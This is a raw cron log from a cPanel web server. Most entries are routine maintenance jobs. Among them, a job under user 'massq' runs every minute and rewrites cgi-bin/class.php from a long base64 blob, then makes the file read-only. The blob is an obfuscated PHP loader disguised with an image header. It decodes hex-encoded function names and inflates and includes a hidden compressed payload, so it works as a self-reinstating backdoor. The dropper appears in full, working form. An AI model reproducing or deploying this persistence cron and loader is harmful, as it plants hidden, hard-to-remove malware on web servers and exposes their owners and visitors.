Sep  1 05:48:01 server CROND[10638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:48:01 server CROND[10639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:48:01 server CROND[10640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:49:02 server CROND[11015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:49:02 server CROND[11016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:49:02 server CROND[11017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:50:01 server CROND[11446]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:50:01 server CROND[11448]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:50:01 server CROND[11451]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:50:01 server CROND[11460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:50:01 server CROND[11468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:50:01 server CROND[11472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:50:01 server CROND[11471]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 05:50:01 server CROND[11473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:50:01 server CROND[11474]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:51:01 server CROND[12897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:51:01 server CROND[12898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:51:01 server CROND[12899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:52:01 server CROND[13283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:52:01 server CROND[13282]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  1 05:52:01 server CROND[13284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:52:01 server CROND[13285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:53:01 server CROND[13877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:53:01 server CROND[13878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:53:01 server CROND[13879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:54:01 server CROND[14841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:54:01 server CROND[14842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:54:01 server CROND[14843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:55:01 server CROND[15236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:55:01 server CROND[15238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:55:01 server CROND[15239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:55:01 server CROND[15237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:55:01 server CROND[15240]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:55:01 server CROND[15241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:55:01 server CROND[15243]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:56:01 server CROND[16104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:56:01 server CROND[16103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:56:01 server CROND[16105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:57:01 server CROND[16477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:57:01 server CROND[16479]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 05:57:01 server CROND[16480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:57:01 server CROND[16478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:58:01 server CROND[16945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:58:01 server CROND[16944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:58:01 server CROND[16946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:59:01 server CROND[17336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:59:01 server CROND[17337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:59:01 server CROND[17338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:00:01 server CROND[17728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:00:01 server CROND[17738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
